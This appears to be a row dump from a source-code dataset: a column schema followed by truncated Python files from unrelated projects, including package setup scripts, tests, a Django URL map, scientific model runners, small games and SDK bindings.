hexsha
stringlengths
40
40
size
int64
6
1.04M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
247
max_stars_repo_name
stringlengths
4
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
368k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
247
max_issues_repo_name
stringlengths
4
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
247
max_forks_repo_name
stringlengths
4
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.04M
avg_line_length
float64
1.53
618k
max_line_length
int64
1
1.02M
alphanum_fraction
float64
0
1
original_content
stringlengths
6
1.04M
filtered:remove_non_ascii
int64
0
538k
filtered:remove_decorators
int64
0
917k
filtered:remove_async
int64
0
722k
filtered:remove_classes
int64
-45
1M
filtered:remove_generators
int64
0
814k
filtered:remove_function_no_docstring
int64
-102
850k
filtered:remove_class_no_docstring
int64
-3
5.46k
filtered:remove_unused_imports
int64
-1,350
52.4k
filtered:remove_delete_markers
int64
0
59.6k
b460a825cadf8df73353c7a21bf3258eed4a974f
1,654
py
Python
setup.py
haideralipunjabi/cli-badges
1b3ca16f2ce857692e18b317661f776f36f77cf7
[ "MIT" ]
26
2020-08-24T08:48:14.000Z
2021-07-29T01:22:10.000Z
setup.py
haideralipunjabi/cli-badges
1b3ca16f2ce857692e18b317661f776f36f77cf7
[ "MIT" ]
null
null
null
setup.py
haideralipunjabi/cli-badges
1b3ca16f2ce857692e18b317661f776f36f77cf7
[ "MIT" ]
3
2020-08-24T09:11:53.000Z
2020-10-06T18:14:57.000Z
import setuptools from cli_badges import __version__ with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="cli_badges", # Replace with your own username version=__version__, author="Haider Ali Punjabi", author_email="me@haideralipunjabi.com", keywords=["color",...
40.341463
148
0.632406
import setuptools from cli_badges import __version__ with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="cli_badges", # Replace with your own username version=__version__, author="Haider Ali Punjabi", author_email="me@haideralipunjabi.com", keywords=["color",...
0
0
0
0
0
0
0
0
0
8b5440c388a0e23fc37d317c8b9cf69042bde00b
3,445
py
Python
src/plugins/auto_translator/utils/emojis.py
shinnenijou/JiBot
c468a67e301597ca702170aded96c5145d864115
[ "MIT" ]
null
null
null
src/plugins/auto_translator/utils/emojis.py
shinnenijou/JiBot
c468a67e301597ca702170aded96c5145d864115
[ "MIT" ]
null
null
null
src/plugins/auto_translator/utils/emojis.py
shinnenijou/JiBot
c468a67e301597ca702170aded96c5145d864115
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # CONSTANT PLAIN_TEXT = ['face', 'reply', 'at', 'text']
35.153061
95
0.566328
# -*- coding: utf-8 -*- import emoji from typing import Tuple from nonebot.adapters.onebot.v11 import Message, MessageSegment # CONSTANT PLAIN_TEXT = ['face', 'reply', 'at', 'text'] async def get_qq_name(bot, group_id, user_id) -> str: user_info = await bot.get_group_member_info( group_id=group_id, user_i...
0
0
268
1,912
0
969
0
36
180
b77e254dcd7074555563b21dcff233c816f50825
4,177
py
Python
cloudmesh_client/common/menu.py
cloudmesh/client
a5fc7dbaf2c51f1227cff346aedea4bf7f563fa9
[ "Apache-2.0" ]
3
2016-07-16T20:35:41.000Z
2017-03-27T23:31:27.000Z
cloudmesh_client/common/menu.py
cloudmesh/client
a5fc7dbaf2c51f1227cff346aedea4bf7f563fa9
[ "Apache-2.0" ]
259
2015-06-18T19:19:14.000Z
2021-09-23T23:22:30.000Z
cloudmesh_client/common/menu.py
cloudmesh/client
a5fc7dbaf2c51f1227cff346aedea4bf7f563fa9
[ "Apache-2.0" ]
19
2015-12-09T05:55:13.000Z
2018-12-02T08:08:43.000Z
"""Ascii menu class""" from __future__ import print_function from builtins import input def ascii_menu(title=None, menu_list=None): """ creates a simple ASCII menu from a list of tuples containing a label and a functions reference. The function should not use parameters. :param title: the title of th...
26.605096
76
0.457505
"""Ascii menu class""" from __future__ import print_function from cloudmesh_client.common.Printer import Printer from builtins import input def ascii_menu(title=None, menu_list=None): """ creates a simple ASCII menu from a list of tuples containing a label and a functions reference. The function should n...
0
0
0
0
0
1,974
0
30
122
410af6125ce9122561d5ee02c51cd87d7b717679
600
py
Python
Cryptography tools/code/XOR/XOR.py
BLueberryPieBLue/CTF-learn
aea7cec71afbc096680270080ed3f4530d1660e7
[ "MIT" ]
null
null
null
Cryptography tools/code/XOR/XOR.py
BLueberryPieBLue/CTF-learn
aea7cec71afbc096680270080ed3f4530d1660e7
[ "MIT" ]
null
null
null
Cryptography tools/code/XOR/XOR.py
BLueberryPieBLue/CTF-learn
aea7cec71afbc096680270080ed3f4530d1660e7
[ "MIT" ]
null
null
null
# -*- coding: cp936 -*- A=[] B=[] f=open('1.txt','r') c=[] for i in range(0,16): a = f.readline() b = a.split() c.append(b) #print(c) for i in c: A.append(i[0]) B.append(i[1]) #print (A) #print (B) xor=[] for i in range(0,len(A)): for j in range(0,len(A[0])): d = int(...
15
38
0.421667
# -*- coding: cp936 -*- A=[] B=[] f=open('1.txt','r') c=[] for i in range(0,16): a = f.readline() b = a.split() c.append(b) #print(c) for i in c: A.append(i[0]) B.append(i[1]) #print (A) #print (B) xor=[] for i in range(0,len(A)): for j in range(0,len(A[0])): d = int(...
0
0
0
0
0
0
0
0
0
5ef15734eb1500e405463f7f53fccd58adec65d4
8,971
py
Python
files/parallelize_DALEC_LAI_All.py
wanmeng8888/CodingDiary
3b29c96e39d5f126ed3cdcc6de595d863c380e7b
[ "Apache-2.0" ]
1
2020-05-05T15:50:05.000Z
2020-05-05T15:50:05.000Z
files/parallelize_DALEC_LAI_All.py
wanmeng8888/CodingDiary
3b29c96e39d5f126ed3cdcc6de595d863c380e7b
[ "Apache-2.0" ]
null
null
null
files/parallelize_DALEC_LAI_All.py
wanmeng8888/CodingDiary
3b29c96e39d5f126ed3cdcc6de595d863c380e7b
[ "Apache-2.0" ]
null
null
null
#! python #-*- coding: utf-8 -*- # from __future__ import print_function # import time # PYMC # NUMPY import numpy as np # SPARK from pyspark.sql import SparkSession # print ('model loaded') # # Main: . if __name__ == "__main__": # 0spark spark = SparkSession.builder.appName('parallize_DALEC_LAI_All').getOrCre...
46.005128
268
0.518783
#! python #-*- coding: utf-8 -*- # 标准化输出。 from __future__ import print_function # 各种包。 import os, sys, time import math # PYMC import pymc as pm from pymc import Uniform, Normal, MCMC, AdaptiveMetropolis # NUMPY import numpy as np # SPARK from pyspark.sql import SparkSession # 外部依赖项 from model_DALEC_LAI_All import init...
681
0
0
0
0
7,187
0
86
110
b79ae8ff4875c0aa5aa2308a21e83223aeaa5891
549
py
Python
clean-nbs/tasks/load.py
ploomber/posts
5f739cf04ff77932c34d5d3ad8d6d94dfe97f051
[ "Apache-2.0" ]
15
2020-11-30T19:31:30.000Z
2022-01-16T15:09:16.000Z
clean-nbs/tasks/load.py
ploomber/posts
5f739cf04ff77932c34d5d3ad8d6d94dfe97f051
[ "Apache-2.0" ]
3
2022-01-13T03:51:14.000Z
2022-03-12T01:01:41.000Z
clean-nbs/tasks/load.py
ploomber/posts
5f739cf04ff77932c34d5d3ad8d6d94dfe97f051
[ "Apache-2.0" ]
8
2021-07-28T02:19:00.000Z
2022-02-06T16:03:24.000Z
# --- # jupyter: # jupytext: # text_representation: # extension: .py # format_name: percent # format_version: '1.3' # jupytext_version: 1.11.3 # kernelspec: # display_name: Python 3 (ipykernel) # language: python # name: python3 # --- # %% import pandas as pd # %% tags=["pa...
18.931034
74
0.591985
# --- # jupyter: # jupytext: # text_representation: # extension: .py # format_name: percent # format_version: '1.3' # jupytext_version: 1.11.3 # kernelspec: # display_name: Python 3 (ipykernel) # language: python # name: python3 # --- # %% import pandas as pd # %% tags=["pa...
0
0
0
0
0
0
0
0
0
8bb02a5f9be7f352c56748cc26bcb9adf601f186
3,040
py
Python
pysprint/tests/test_autofft.py
kingablgh/PySprint
c3e76fbf1287d18d78699145f5301593aff47ba0
[ "MIT" ]
13
2020-05-29T14:53:13.000Z
2022-02-09T17:29:19.000Z
pysprint/tests/test_autofft.py
kingablgh/PySprint
c3e76fbf1287d18d78699145f5301593aff47ba0
[ "MIT" ]
8
2019-10-14T18:23:26.000Z
2021-09-14T16:42:27.000Z
pysprint/tests/test_autofft.py
kingablgh/PySprint
c3e76fbf1287d18d78699145f5301593aff47ba0
[ "MIT" ]
1
2020-10-07T06:42:17.000Z
2020-10-07T06:42:17.000Z
import unittest if __name__ == "__main__": unittest.main()
25.982906
81
0.620066
import unittest from unittest.mock import patch import numpy as np import pytest import pysprint from pysprint import FFTMethod, Generator from pysprint.core._fft_tools import ( find_roi, find_center, _ensure_window_at_origin, predict_fwhm, ) from pysprint.utils import NotCalculatedException class T...
0
565
0
2,067
0
0
0
139
202
7348e774dca4fc13f76ffcfb8586eb5f3c6f9da7
3,307
py
Python
catch_a_trtl.py
Kyan-milk/github-slideshow
a8cf0ce5288ae2d085e3f47a76a65f305dae35a8
[ "MIT" ]
1
2021-11-03T20:53:59.000Z
2021-11-03T20:53:59.000Z
catch_a_trtl.py
Kyan-milk/github-slideshow
a8cf0ce5288ae2d085e3f47a76a65f305dae35a8
[ "MIT" ]
2
2021-10-06T20:27:55.000Z
2021-10-07T23:45:17.000Z
catch_a_trtl.py
Kyan-milk/github-slideshow
a8cf0ce5288ae2d085e3f47a76a65f305dae35a8
[ "MIT" ]
null
null
null
import turtle as trtl # leaderboard variables leaderboard_file_name = "a122_leaderboard.txt" leader_names_list = [] leader_scores_list = [] player_name = input ("Please enter your name:") score = 0 colors = ["black", "sky blue", "salmon", "orchid", "pale green"] font_setup = ("Arial", 20, "normal") spot...
26.669355
108
0.699123
import turtle as trtl import random as rand # leaderboard variables leaderboard_file_name = "a122_leaderboard.txt" leader_names_list = [] leader_scores_list = [] player_name = input ("Please enter your name:") import leaderboard as lb score = 0 def manage_leaderboard(): global leader_scores_lis...
0
0
0
0
0
1,787
0
3
234
742f393dd195008d665fa4029e4a9f04c566d444
6,218
py
Python
modtox/new_tests/Molecules/test_CollectionFromTarget.py
danielSoler93/modtox
757234140cc780f57d031b46d9293fc2bf95d18d
[ "Apache-2.0" ]
4
2019-09-22T22:57:30.000Z
2020-03-18T13:20:50.000Z
modtox/new_tests/Molecules/test_CollectionFromTarget.py
danielSoler93/ModTox
757234140cc780f57d031b46d9293fc2bf95d18d
[ "Apache-2.0" ]
21
2019-09-16T11:07:13.000Z
2019-11-20T15:06:06.000Z
modtox/new_tests/Molecules/test_CollectionFromTarget.py
danielSoler93/ModTox
757234140cc780f57d031b46d9293fc2bf95d18d
[ "Apache-2.0" ]
2
2019-09-07T17:07:55.000Z
2020-03-18T13:20:52.000Z
from modtox.modtox.Molecules.target_col import CollectionFromTarget, IDs from modtox.modtox.Molecules.mol import MoleculeFromInChI from modtox.modtox.utils.enums import Database, StandardTypes import pickle5 ## sm stands for molecule identifier (smiles previously) def test_unique_smiles(): """Tests that duplica...
30.331707
82
0.642329
import typing from modtox.modtox.Molecules.target_col import CollectionFromTarget, IDs from modtox.modtox.Molecules.mol import MoleculeFromInChI from modtox.modtox.utils.enums import Database, StandardTypes from unittest.mock import MagicMock, Mock, PropertyMock, patch import pickle5 ## sm stands for molecule identi...
0
2,631
0
67
0
0
0
33
138
0fd4fa03a38f40f452e7288c8fe9015dd26bbabd
6,292
py
Python
astroquery/utils/tap/xmlparser/tableSaxParser.py
rickynilsson/astroquery
b7edec0d8e36b11c25baa39ad72e4160bc30d465
[ "BSD-3-Clause" ]
577
2015-02-12T18:23:49.000Z
2022-03-22T21:38:58.000Z
astroquery/utils/tap/xmlparser/tableSaxParser.py
rickynilsson/astroquery
b7edec0d8e36b11c25baa39ad72e4160bc30d465
[ "BSD-3-Clause" ]
1,812
2015-01-01T08:02:20.000Z
2022-03-31T13:03:52.000Z
astroquery/utils/tap/xmlparser/tableSaxParser.py
rickynilsson/astroquery
b7edec0d8e36b11c25baa39ad72e4160bc30d465
[ "BSD-3-Clause" ]
322
2015-02-23T19:31:29.000Z
2022-03-25T18:51:30.000Z
# Licensed under a 3-clause BSD style license - see LICENSE.rst """ ============= TAP plus ============= @author: Juan Carlos Segovia @contact: juan.carlos.segovia@sciops.esa.int European Space Astronomy Centre (ESAC) European Space Agency (ESA) Created on 30 jun. 2016 """ READING_SCHEMA = 10 RE...
35.348315
82
0.632867
# Licensed under a 3-clause BSD style license - see LICENSE.rst """ ============= TAP plus ============= @author: Juan Carlos Segovia @contact: juan.carlos.segovia@sciops.esa.int European Space Astronomy Centre (ESAC) European Space Agency (ESA) Created on 30 jun. 2016 """ import xml.sax from ...
0
0
0
5,699
0
0
0
105
121
f58d3753c04971e66819c438e4602de813f9e286
2,404
py
Python
explorer/urls.py
AthenaExplorer/xm_s_explorer
b8ccd57e7bd493f46c493a967ec22e42171a6091
[ "MIT" ]
null
null
null
explorer/urls.py
AthenaExplorer/xm_s_explorer
b8ccd57e7bd493f46c493a967ec22e42171a6091
[ "MIT" ]
null
null
null
explorer/urls.py
AthenaExplorer/xm_s_explorer
b8ccd57e7bd493f46c493a967ec22e42171a6091
[ "MIT" ]
null
null
null
from django.conf.urls import url from explorer import views urlpatterns = [ # url(r'^get_block_chart$', views.get_block_chart), # url(r'^get_overview$', views.get_overview), # url(r'^get_hashrate_ranking$', views.get_hashrate_ranking), # - url(r'^get_power_valid$', views.get_power_valid), #...
47.137255
113
0.68802
from django.conf.urls import url from explorer import views urlpatterns = [ # 首页 url(r'^get_block_chart$', views.get_block_chart), # 爆块信息统计 url(r'^get_overview$', views.get_overview), # 概览 url(r'^get_hashrate_ranking$', views.get_hashrate_ranking), # 算力走势-有效算力 url(r'^get_power_valid$', views.ge...
735
0
0
0
0
0
0
0
0
96bcaf36d4506a8131d2cc2102a611fcf76b5197
6,921
py
Python
vmdgadgets/projectile.py
Hashi4/vmdgadgets
07ff21c2ce20ab6dbae410d365b6c2189635944a
[ "Apache-2.0" ]
null
null
null
vmdgadgets/projectile.py
Hashi4/vmdgadgets
07ff21c2ce20ab6dbae410d365b6c2189635944a
[ "Apache-2.0" ]
null
null
null
vmdgadgets/projectile.py
Hashi4/vmdgadgets
07ff21c2ce20ab6dbae410d365b6c2189635944a
[ "Apache-2.0" ]
null
null
null
import vmdutil from vmdutil import vmddef FPS = 30 MIXEL = 0.08 G = -9.8 / MIXEL / FPS / FPS GV = (0, G, 0) # fixed HALFG = G / 2 cp_all = vmddef.BONE_LERP_CONTROLPOINTS replace_controlpoints(cp_all, vmdutil.PARABOLA2_CONTROLPOINTS, 1) PARABOLA2 = vmddef.bone_controlpoints_to_vmdformat(cp_all) replace_controlpo...
37.410811
77
0.598468
import math import numpy as np import os import vmdutil from vmdutil import vmddef from lookat import LookAt, MotionFrame FPS = 30 MIXEL = 0.08 G = -9.8 / MIXEL / FPS / FPS GV = (0, G, 0) # fixed HALFG = G / 2 def project_asap(pos_target, v_target, v_bullet): # ||pos + v_t * t - 1/2gt**2|| = v_b * t g = vm...
12
0
0
4,816
0
1,476
0
-8
203
025aa1ffe30dbd4bfd3b69b47a28e63ef7ebe43f
324
py
Python
backend/events/migrations/0007_remove_event_user.py
ShivanS93/green-your-impact
ef52a1526e22c7852a70e962902ee47966ef7258
[ "MIT" ]
2
2021-09-04T07:14:41.000Z
2022-02-22T17:54:25.000Z
backend/events/migrations/0007_remove_event_user.py
ShivanS93/green-your-impact
ef52a1526e22c7852a70e962902ee47966ef7258
[ "MIT" ]
2
2021-09-04T04:50:11.000Z
2021-09-19T09:40:33.000Z
backend/events/migrations/0007_remove_event_user.py
ShivanS93/green-your-impact
ef52a1526e22c7852a70e962902ee47966ef7258
[ "MIT" ]
null
null
null
# Generated by Django 3.2.6 on 2021-08-24 01:05
18
47
0.58642
# Generated by Django 3.2.6 on 2021-08-24 01:05 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ("events", "0006_auto_20210824_0013"), ] operations = [ migrations.RemoveField( model_name="event", name="user", ), ...
0
0
0
218
0
0
0
11
46
be9a5e245ff76ed6681a2750c91a421bf0879c29
2,278
py
Python
app/fuzzy_clock.py
rdavid/dotfiles
f540f4af083b800a2a25a766c05fd5dff7183a46
[ "0BSD" ]
1
2019-08-19T16:22:39.000Z
2019-08-19T16:22:39.000Z
app/fuzzy_clock.py
rdavid/dotfiles
f540f4af083b800a2a25a766c05fd5dff7183a46
[ "0BSD" ]
null
null
null
app/fuzzy_clock.py
rdavid/dotfiles
f540f4af083b800a2a25a766c05fd5dff7183a46
[ "0BSD" ]
null
null
null
#!/usr/bin/env python from __future__ import print_function from time import localtime from sys import exc_info from sys import exit DEFAULT_RESOLUTION = 5 MIDDAY = 12 HOUR_WORD_MAPPINGS = { 0: "midnight", 1: "one", 2: "two", 3: "three", 4: "four", 5: "five", 6: "six", 7: "seven", ...
23.484536
76
0.613257
#!/usr/bin/env python from __future__ import print_function from time import localtime from sys import exc_info from sys import exit DEFAULT_RESOLUTION = 5 MIDDAY = 12 HOUR_WORD_MAPPINGS = { 0: "midnight", 1: "one", 2: "two", 3: "three", 4: "four", 5: "five", 6: "six", 7: "seven", ...
0
0
0
0
0
1,101
0
0
115
5e9f92b7edb886b47d04d5a5c5f2649bd57c7cab
2,103
py
Python
main.py
3-24/icalKSA
6d735da3ef6a1917ad9bb4192f82ca0a5566dd25
[ "MIT" ]
null
null
null
main.py
3-24/icalKSA
6d735da3ef6a1917ad9bb4192f82ca0a5566dd25
[ "MIT" ]
null
null
null
main.py
3-24/icalKSA
6d735da3ef6a1917ad9bb4192f82ca0a5566dd25
[ "MIT" ]
null
null
null
mainParse(2018)
30.926471
115
0.460295
from icalendar import Calendar, Event import urllib.request from bs4 import BeautifulSoup def get_html(url): fp = urllib.request.urlopen(url) mybytes = fp.read() mystr = mybytes.decode("utf8") fp.close() return mystr def get_data(url): list = [] content = get_html(url) soup = Beauti...
90
0
0
0
0
1,895
0
24
135
f34143429f45a824e3cef13e0581abaa0128883f
4,701
py
Python
python-flask-server/swagger_server/models/protein.py
broadinstitute/depmap-api
37776fc40fd343f8c8ebe25f0f064c2947d048be
[ "MIT" ]
1
2020-02-03T20:29:03.000Z
2020-02-03T20:29:03.000Z
python-flask-server/swagger_server/models/protein.py
broadinstitute/depmap-api
37776fc40fd343f8c8ebe25f0f064c2947d048be
[ "MIT" ]
null
null
null
python-flask-server/swagger_server/models/protein.py
broadinstitute/depmap-api
37776fc40fd343f8c8ebe25f0f064c2947d048be
[ "MIT" ]
2
2020-05-14T22:31:09.000Z
2021-04-15T22:44:40.000Z
# coding: utf-8 from __future__ import absolute_import
27.816568
166
0.627526
# coding: utf-8 from __future__ import absolute_import from datetime import date, datetime # noqa: F401 from typing import List, Dict # noqa: F401 from swagger_server.models.base_model_ import Model from swagger_server import util class Protein(Model): """NOTE: This class is auto generated by the swagger cod...
0
2,531
0
1,910
0
0
0
62
141
d21022a91d3ada35d9c2ff4e6559379747914f81
1,437
py
Python
examples/frompapers/Diesmann_et_al_1999.py
Abhayindia/Angela-A-Simulator-for-Spiking-Neurals
7e7b718e228535c2a91df0657be67f4f178fc19a
[ "BSD-2-Clause" ]
1
2020-10-15T05:38:55.000Z
2020-10-15T05:38:55.000Z
examples/frompapers/Diesmann_et_al_1999.py
Abhayindia/Angela-A-Simulator-for-Spiking-Neurals
7e7b718e228535c2a91df0657be67f4f178fc19a
[ "BSD-2-Clause" ]
null
null
null
examples/frompapers/Diesmann_et_al_1999.py
Abhayindia/Angela-A-Simulator-for-Spiking-Neurals
7e7b718e228535c2a91df0657be67f4f178fc19a
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python ''' Synfire chains -------------- M. Diesmann et al. (1999). Stable propagation of synchronous spiking in cortical neural networks. Nature 402, 529-533. ''' duration = 100*ms # Neuron model parameters Vr = -70*mV Vt = -55*mV taum = 10*ms taupsp = 0.325*ms weight = 4.86*mV # Neuron model eqs = Eq...
26.611111
99
0.629784
#!/usr/bin/env python ''' Synfire chains -------------- M. Diesmann et al. (1999). Stable propagation of synchronous spiking in cortical neural networks. Nature 402, 529-533. ''' from angela2 import * duration = 100*ms # Neuron model parameters Vr = -70*mV Vt = -55*mV taum = 10*ms taupsp = 0.325*ms weight = 4.86*mV #...
0
0
0
0
0
0
0
0
22
11499bf14c69e8922764dbc34a5bfd57ff891652
3,412
py
Python
Project2/RL.py
jhmfreitas/AI-Project
5ba40c73e97d905db98787c9b84976dc49330905
[ "MIT" ]
1
2021-02-01T17:52:12.000Z
2021-02-01T17:52:12.000Z
Project2/RL.py
jhmfreitas/AI-Project
5ba40c73e97d905db98787c9b84976dc49330905
[ "MIT" ]
null
null
null
Project2/RL.py
jhmfreitas/AI-Project
5ba40c73e97d905db98787c9b84976dc49330905
[ "MIT" ]
null
null
null
#87671-Joao Freitas 87693-Pedro Soares Grupo 15 # -*- coding: utf-8 -*- """ Created on Mon Oct 16 20:31:54 2017 @author: mlopes """ from tempfile import TemporaryFile outfile = TemporaryFile()
31.88785
108
0.509379
#87671-Joao Freitas 87693-Pedro Soares Grupo 15 # -*- coding: utf-8 -*- """ Created on Mon Oct 16 20:31:54 2017 @author: mlopes """ import numpy as np import random from tempfile import TemporaryFile outfile = TemporaryFile() class finiteMDP: def __init__(self, nS, nA, gamma, P=[], R=[], absorv=[]): se...
0
0
0
3,161
0
0
0
-11
68
d10c4e749aed94d7047ebdbe76005fa871e8fd9f
421
py
Python
TagScriptEngine/block/strictvariablegetter.py
djthegr8/TagScript
cbcea6b4e07f10ed9ffe665406c4c21dd9730fec
[ "CC-BY-4.0" ]
24
2017-09-06T20:39:44.000Z
2022-03-21T10:21:35.000Z
TagScriptEngine/block/strictvariablegetter.py
djthegr8/TagScript
cbcea6b4e07f10ed9ffe665406c4c21dd9730fec
[ "CC-BY-4.0" ]
5
2021-01-01T23:07:04.000Z
2022-02-28T13:26:43.000Z
TagScriptEngine/block/strictvariablegetter.py
djthegr8/TagScript
cbcea6b4e07f10ed9ffe665406c4c21dd9730fec
[ "CC-BY-4.0" ]
20
2017-09-07T14:35:30.000Z
2022-03-26T14:52:22.000Z
from .. import Interpreter, adapter
35.083333
79
0.755344
from .. import Interpreter, adapter from ..interface import Block from typing import Optional import random class StrictVariableGetterBlock(Block): def will_accept(self, ctx : Interpreter.Context) -> bool: return ctx.verb.declaration in ctx.response.variables def process(self, ctx : Interpreter.Contex...
0
0
0
290
0
0
0
6
89
8f38a28e6374818dcb4f3bb9c8acec4d0f7244c6
2,180
py
Python
dcorm/model.py
homeinfogmbh/dcorm
7dc19259dad5252afea4b574a533240506b524d1
[ "MIT" ]
2
2021-12-23T13:49:26.000Z
2021-12-23T15:16:46.000Z
dcorm/model.py
homeinfogmbh/dcorm
7dc19259dad5252afea4b574a533240506b524d1
[ "MIT" ]
null
null
null
dcorm/model.py
homeinfogmbh/dcorm
7dc19259dad5252afea4b574a533240506b524d1
[ "MIT" ]
null
null
null
"""Model definition.""" __all__ = ['ModelType', 'Model']
27.594937
67
0.627064
"""Model definition.""" from dataclasses import dataclass from typing import Any, Optional from dcorm.alias import Alias from dcorm.column import Column from dcorm.database import Database from dcorm.engine import Engine from dcorm.path import Path __all__ = ['ModelType', 'Model'] class ModelType(type): """Me...
0
446
0
1,400
0
0
0
71
202
cb402bb5751a410686be3a0e717989e7bd1b4f83
1,052
py
Python
tests/test_datacredit.py
mmfink/fort-pymdwizard
96f46e8cc2594b82b475b4f3fcae96a05ebc03e4
[ "CC-BY-4.0" ]
53
2017-05-01T05:03:33.000Z
2022-03-13T04:49:15.000Z
tests/test_datacredit.py
mmfink/fort-pymdwizard
96f46e8cc2594b82b475b4f3fcae96a05ebc03e4
[ "CC-BY-4.0" ]
109
2017-05-17T15:15:40.000Z
2022-03-24T21:12:45.000Z
tests/test_datacredit.py
mmfink/fort-pymdwizard
96f46e8cc2594b82b475b4f3fcae96a05ebc03e4
[ "CC-BY-4.0" ]
17
2017-02-08T16:18:18.000Z
2021-01-28T19:38:09.000Z
from __future__ import print_function import sys sys.path.append(r"../..") import sys
22.869565
71
0.707224
from __future__ import print_function import sys sys.path.append(r"../..") import sys from pytestqt import qtbot from lxml import etree from PyQt5.QtWidgets import QWidget, QPlainTextEdit from pymdwizard.gui import datacred def test_datacredit_from_xml(qtbot): widget = datacred.Datacred() qtbot.addWidget...
0
0
0
0
0
775
0
50
136
d928f68e34da4371718321758eb22ad55f44dcbe
396
py
Python
compendium/initsegment/__init__.py
vanatteveldt/compendium-dodo
81422e4e261fc8bd023c893d2a007a6c89dfc5ab
[ "MIT" ]
null
null
null
compendium/initsegment/__init__.py
vanatteveldt/compendium-dodo
81422e4e261fc8bd023c893d2a007a6c89dfc5ab
[ "MIT" ]
1
2021-02-06T15:26:04.000Z
2021-02-06T15:26:04.000Z
compendium/initsegment/__init__.py
vanatteveldt/compendium-dodo
81422e4e261fc8bd023c893d2a007a6c89dfc5ab
[ "MIT" ]
null
null
null
""" Init segments (phases) """ from compendium.initsegment.checksegment import CheckSegment from compendium.initsegment.folderstructure import FolderStructureSegment from compendium.initsegment.github import GithubSegment from compendium.initsegment.pyenv import PyEnvSegment SEGMENTS = [ GithubSegment, ...
24.75
73
0.772727
""" Init segments (phases) """ from compendium.initsegment.checksegment import CheckSegment from compendium.initsegment.folderstructure import FolderStructureSegment from compendium.initsegment.github import GithubSegment from compendium.initsegment.pyenv import PyEnvSegment SEGMENTS = [ GithubSegment, ...
0
0
0
0
0
0
0
0
0
94e82c13f1d55ceec0b80181667099e9cf347ddc
7,085
py
Python
sdk/python/pulumi_aws_native/dms/certificate.py
AaronFriel/pulumi-aws-native
5621690373ac44accdbd20b11bae3be1baf022d1
[ "Apache-2.0" ]
29
2021-09-30T19:32:07.000Z
2022-03-22T21:06:08.000Z
sdk/python/pulumi_aws_native/dms/certificate.py
AaronFriel/pulumi-aws-native
5621690373ac44accdbd20b11bae3be1baf022d1
[ "Apache-2.0" ]
232
2021-09-30T19:26:26.000Z
2022-03-31T23:22:06.000Z
sdk/python/pulumi_aws_native/dms/certificate.py
AaronFriel/pulumi-aws-native
5621690373ac44accdbd20b11bae3be1baf022d1
[ "Apache-2.0" ]
4
2021-11-10T19:42:01.000Z
2022-02-05T10:15:49.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi from .. import _utilities __all__ = ['CertificateArgs', 'Certificate'] warnings.warn("""Certificate is not yet support...
43.734568
192
0.67043
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __a...
0
4,215
0
2,282
0
0
0
47
90
9a17210b5849d3e3d170fc2cf42441cecda8e7f9
2,193
py
Python
POStagging/ImportRDSTagger.py
danielTLevy/Permutation-Equivariant-Seq2Seq
d15f9af1e8751ef25eb93afd30f8be1e68d09d06
[ "MIT" ]
null
null
null
POStagging/ImportRDSTagger.py
danielTLevy/Permutation-Equivariant-Seq2Seq
d15f9af1e8751ef25eb93afd30f8be1e68d09d06
[ "MIT" ]
null
null
null
POStagging/ImportRDSTagger.py
danielTLevy/Permutation-Equivariant-Seq2Seq
d15f9af1e8751ef25eb93afd30f8be1e68d09d06
[ "MIT" ]
null
null
null
from RDRPOSTagger.Utility.Utils import readDictionary french_tagger = RDRPOSTagger() french_tagger.constructSCRDRtreeFromRDRfile("../Models/POS/French.RDR") frenchDICT = readDictionary("../Models/POS/French.DICT") english_tagger = RDRPOSTagger() english_tagger.constructSCRDRtreeFromRDRfile("../Models/POS/English.RDR"...
42.173077
110
0.699954
from RDRPOSTagger.InitialTagger.InitialTagger import initializeCorpus, initializeSentence from RDRPOSTagger.SCRDRlearner.Object import FWObject from RDRPOSTagger.SCRDRlearner.SCRDRTree import SCRDRTree from RDRPOSTagger.SCRDRlearner.SCRDRTreeLearner import SCRDRTreeLearner from RDRPOSTagger.Utility.Config import NUMBER...
0
0
0
1,227
0
76
0
310
200
981fed76f7352ef95bfa0deaae5450bdb6f9af72
2,020
py
Python
Android/NDK/android-ndk-r20b-win/build/tools/build-renderscript.py
X018/CCTOOL
989af4d7edab82bf540400eb72eca4e7447d722c
[ "MIT" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
Android/NDK/android-ndk-r20b-win/build/tools/build-renderscript.py
X018/CCTOOL
989af4d7edab82bf540400eb72eca4e7447d722c
[ "MIT" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
Android/NDK/android-ndk-r20b-win/build/tools/build-renderscript.py
X018/CCTOOL
989af4d7edab82bf540400eb72eca4e7447d722c
[ "MIT" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
#!/usr/bin/env python # # Copyright (C) 2016 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless req...
31.076923
84
0.69604
